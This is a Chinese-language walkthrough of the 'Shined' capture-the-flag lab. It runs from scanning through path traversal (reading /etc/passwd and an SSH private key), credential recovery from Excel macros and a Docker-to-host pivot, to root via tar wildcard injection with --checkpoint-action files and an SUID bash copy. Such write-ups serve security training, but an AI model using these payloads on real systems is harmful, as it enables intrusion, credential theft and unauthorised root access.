Shined

image

信息搜集

主机发现

1
2
3
4
5
6
7
8
9
10
┌──(root㉿Eecho)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.100.18
Starting arp-scan 1.10.0 with 512 hosts (https://github.com/royhills/arp-scan)
1......
192.168.100.21 08:00:27:b0:9a:67 PCS Systemtechnik GmbH
......

30 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 512 hosts scanned in 2.950 seconds (173.56 hosts/sec). 29 responded

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.100.21 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.100.21:22
Open 192.168.100.21:80
Open 192.168.100.21:2222
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.21
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-15 13:48 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:48
Completed NSE at 13:48, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:48
Completed NSE at 13:48, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:48
Completed NSE at 13:48, 0.00s elapsed
Initiating ARP Ping Scan at 13:48
Scanning 192.168.100.21 [1 port]
Completed ARP Ping Scan at 13:48, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:48
Completed Parallel DNS resolution of 1 host. at 13:48, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:48
Scanning 192.168.100.21 [3 ports]
Discovered open port 22/tcp on 192.168.100.21
Discovered open port 2222/tcp on 192.168.100.21
Discovered open port 80/tcp on 192.168.100.21
Completed SYN Stealth Scan at 13:48, 0.02s elapsed (3 total ports)
Initiating Service scan at 13:48
Scanning 3 services on 192.168.100.21
Completed Service scan at 13:48, 6.03s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.100.21
NSE: Script scanning 192.168.100.21.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:48
Completed NSE at 13:48, 0.41s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:48
Completed NSE at 13:48, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:48
Completed NSE at 13:48, 0.00s elapsed
Nmap scan report for 192.168.100.21
Host is up, received arp-response (0.00057s latency).
Scanned at 2026-07-15 13:48:15 CST for 8s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8d:9c:0e:58:72:31:a2:f9:81:15:34:9a:e7:07:f1:2a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDPMC3/MhiYrwxAi9/0rkcRYOzh6m/lq0CqdKgVsgpwxylemzJ3YnKNI+hEo0AJoRilrfzG1K9h4IP+Fv6c/1z4=
| 256 d8:05:cc:bd:07:3b:c8:59:eb:5e:cd:ee:6e:52:c6:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ9k83JssYDyvQ/9DuP7REK1Fga7sTu38l2ibHHTJBfv
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: sungla
|_http-server-header: Apache/2.4.52 (Ubuntu)
2222/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 09:20:97:b6:90:27:34:c4:f4:ed:35:c0:66:a3:f8:02 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCD2GOEfbWctCrEDU+Wep1NeD5TI1M3Anl6ZCvHdP03KSnRMRl3jPw9DbQkrNdDYabqAuHA1ryDSgnWVt7Li108=
| 256 a5:bc:e0:59:79:1e:b7:5f:93:65:b1:2f:0c:bb:b0:66 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOCHOy8CzcE22B07xERlzea6PNZ0sMFlsYm9dOAOtWGu
MAC Address: 08:00:27:B0:9A:67 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=7/15%OT=22%CT=%CU=41247%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A571F27%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 2.865 days (since Sun Jul 12 17:02:07 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.57 ms 192.168.100.21

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:48
Completed NSE at 13:48, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:48
Completed NSE at 13:48, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:48
Completed NSE at 13:48, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.55 seconds
Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
  • 22 ssh
  • 80 http
  • 2222 http

2222端口可能是docker映射出来的

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(root㉿Eecho)-[~]
└─# gobuster dir -u http://192.168.100.21/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json,md -b 401,403,404,502
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.100.21/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 401,403,404,502
[+] User Agent: gobuster/3.8.2
[+] Extensions: jpg,json,md,php,txt,html,back,cgi
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html (Status: 200) [Size: 21819]
images (Status: 301) [Size: 317] [--> http://192.168.100.21/images/]
contact.html (Status: 200) [Size: 8716]
privacy (Status: 301) [Size: 318] [--> http://192.168.100.21/privacy/]
about.html (Status: 200) [Size: 7269]
shop.html (Status: 200) [Size: 7374]
css (Status: 301) [Size: 314] [--> http://192.168.100.21/css/]
access.php (Status: 200) [Size: 1849]
js (Status: 301) [Size: 313] [--> http://192.168.100.21/js/]
glasses.html (Status: 200) [Size: 9822]
Progress: 1985022 / 1985022 (100.00%)
===============================================================
Finished
===============================================================

经过fuzzing测试发现存在目录穿越

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(root㉿Eecho)-[~]
└─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt -u "http://192.168.100.21/access.php/?FUZZ=/etc/passwd" --hc 404 --hh 1845
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
/usr/local/lib/python3.13/dist-packages/requests-2.27.1-py3.13.egg/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (2.6.3) or chardet (5.2.0)/charset_normalizer (3.4.4) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.100.21/access.php/?FUZZ=/etc/passwd
Total requests: 1273832

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 0
Processed Requests: 28109
Filtered Requests: 28109
Requests/sec.: 0

┌──(root㉿Eecho)-[~]
└─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt -u "http://192.168.100.21/access.php/?FUZZ=../../../../../etc/passwd" --hc 404 --hh 1845
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
/usr/local/lib/python3.13/dist-packages/requests-2.27.1-py3.13.egg/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (2.6.3) or chardet (5.2.0)/charset_normalizer (3.4.4) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.100.21/access.php/?FUZZ=../../../../../etc/passwd
Total requests: 1273832

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000003990: 200 88 L 164 W 3164 Ch "inet"

image

有个cifra用户,看看是否存在私钥

image

是存在私钥的。那么我们利用私钥登录到cifra用户,这里需要注意的是端口是2222

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# chmod 600 id_rsa
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# ssh cifra@192.168.100.21 -i id_rsa -p 2222
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Apr 9 13:53:46 2024 from 192.168.1.210
cifra@b13d359bc30b:~$ id
uid=1000(cifra) gid=1000(cifra) groups=1000(cifra)
cifra@b13d359bc30b:~$

docker逃逸

可以看到现在是docker环境我们需要逃逸到宿主机

image

cifra用户家目录下有个contabilidad.xlsm文件,这是一个Microsoft Excel 2007+ 启用宏的工作簿

1
2
cifra@b13d359bc30b:~$ file contabilidad.xlsm
contabilidad.xlsm: Microsoft Excel 2007+

复制到kali进行分析

1
2
3
4
5
6
7
8
cifra@b13d359bc30b:~$ scp contabilidad.xlsm root@192.168.100.18:/tmp/aaaa
The authenticity of host '192.168.100.18 (192.168.100.18)' can't be established.
ED25519 key fingerprint is SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.100.18' (ED25519) to the list of known hosts.
root@192.168.100.18's password:
contabilidad.xlsm

使用olevba从 Microsoft Office 文档中检测、提取并分析 VBA 宏(Macro)代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
(myenv) ┌──(root㉿Eecho)-[/tmp/aaaa]
└─# pip install oletools
(myenv) ┌──(root㉿Eecho)-[/tmp/aaaa]
└─# olevba contabilidad.xlsm --decode --reveal --detailed --deobf
olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools
===============================================================================
FILE: contabilidad.xlsm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO Módulo1.bas
in file: xl/vbaProject.bin - OLE stream: 'VBA/Módulo1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub mymacro()
leopoldo: snickers
End Sub
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Hoja1.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Hoja1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Módulo2.bas
in file: xl/vbaProject.bin - OLE stream: 'VBA/Módulo2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub Macro1()
Attribute Macro1.VB_Description = "leopoldo:snickers"
Attribute Macro1.VB_ProcData.VB_Invoke_Func = " \n14"
'
' Macro1 Macro
' leopoldo:snickers
'

'
End Sub
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|Hex String|'\x00\x02\x08\x19' |00020819 |
|Hex String|'\x00\x00\x00\x00\x0|000000000046 |
| |0F' | |
|Hex String|'\x00\x02\x08 ' |00020820 |
+----------+--------------------+---------------------------------------------+
MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):


Sub mymacro()
leopoldo: snickers
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Módulo2"
Sub Macro1()
Attribute Macro1.VB_Description = "leopoldo:snickers"
Attribute Macro1.VB_ProcData.VB_Invoke_Func = " \n14"
'
' Macro1 Macro
' leopoldo:snickers
'

'
End Sub

泄露了一个凭证leopoldo:snickers,刚刚我们使用的是2222端口登录的ssh,这个用户应该就是宿主机的用户了所以使用22端口登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# ssh leopoldo@192.168.100.21
leopoldo@192.168.100.21's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Wed Jul 15 06:42:23 AM UTC 2026

System load: 0.1484375 Processes: 124
Usage of /: 54.4% of 11.21GB Users logged in: 0
Memory usage: 57% IPv4 address for docker0: 172.17.0.1
Swap usage: 0% IPv4 address for enp0s3: 192.168.100.21

* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.

https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

18 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Apr 9 14:45:36 2024 from 192.168.1.41
leopoldo@shined:~$ id
uid=1001(leopoldo) gid=1001(leopoldo) groups=1001(leopoldo)
leopoldo@shined:~$

成功逃逸到宿主机

提权

leopoldo -> root

上传pspy分析

1
2
3
4
5
6
7
8
9
10
11
12
13
leopoldo@shined:/tmp$ wget http://192.168.100.18/pspy64
--2026-07-15 06:47:23-- http://192.168.100.18/pspy64
Connecting to 192.168.100.18:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M)
Saving to: ‘pspy64’

pspy64 100%[==============================================================================================>] 2.96M --.-KB/s in 0.03s

2026-07-15 06:47:24 (113 MB/s) - ‘pspy64’ saved [3104768/3104768]

leopoldo@shined:/tmp$ chmod +x pspy64
leopoldo@shined:/tmp$ ./pspy64

image

会执行/tmp/backup.sh这个脚本

1
2
3
4
5
leopoldo@shined:/tmp$ cat /tmp/backup.sh
#!/bin/bash

cd /home/leopoldo/Desktop/scripts/
tar -zcf /home/leopoldo/Desktop/scripts/backup.tgz *

/tmp/backup.sh 中,root 运行了这行命令:

1
tar -zcf backup.tgz *

tar提权 https://gtfobins.org/gtfobins/tar/

tar​ 还没启动之前,Bash 终端(Shell) 会抢先一步,把 * 替换成当前目录下的所有文件名。

假设此时你的目录下有以下 4 个文件:

  1. backup.tgz
  2. --checkpoint=1
  3. --checkpoint-action=exec=sh shell.sh
  4. shell.sh

当 root 执行脚本时,Bash 会自动把 * 展开,将整条命令拼接并替换为:

1
tar -zcf backup.tgz backup.tgz --checkpoint=1 --checkpoint-action="exec=sh shell.sh" shell.sh

所以我们可以在/home/leopoldo/Desktop/scripts/目录下创建恶意提权脚本

1
2
3
4
5
6
7
8
9
10
# 1. 确保在正确的目录下
cd /home/leopoldo/Desktop/scripts/

# 2. 写入提权 Payload(直接把当前 shell 的 /bin/bash 复制一份并赋予 SUID 权限,最稳妥)
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > shell.sh
chmod +x shell.sh

# 3. 创建通配符注入所需的参数文件
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
1
2
3
4
5
6
leopoldo@shined:~/Desktop/scripts$ ls -la /tmp/rootbash
-rwsr-sr-x 1 root root 1396520 Jul 15 06:54 /tmp/rootbash
leopoldo@shined:~/Desktop/scripts$ /tmp/rootbash -p
rootbash-5.1# id
uid=1001(leopoldo) gid=1001(leopoldo) euid=0(root) egid=0(root) groups=0(root),1001(leopoldo)
rootbash-5.1#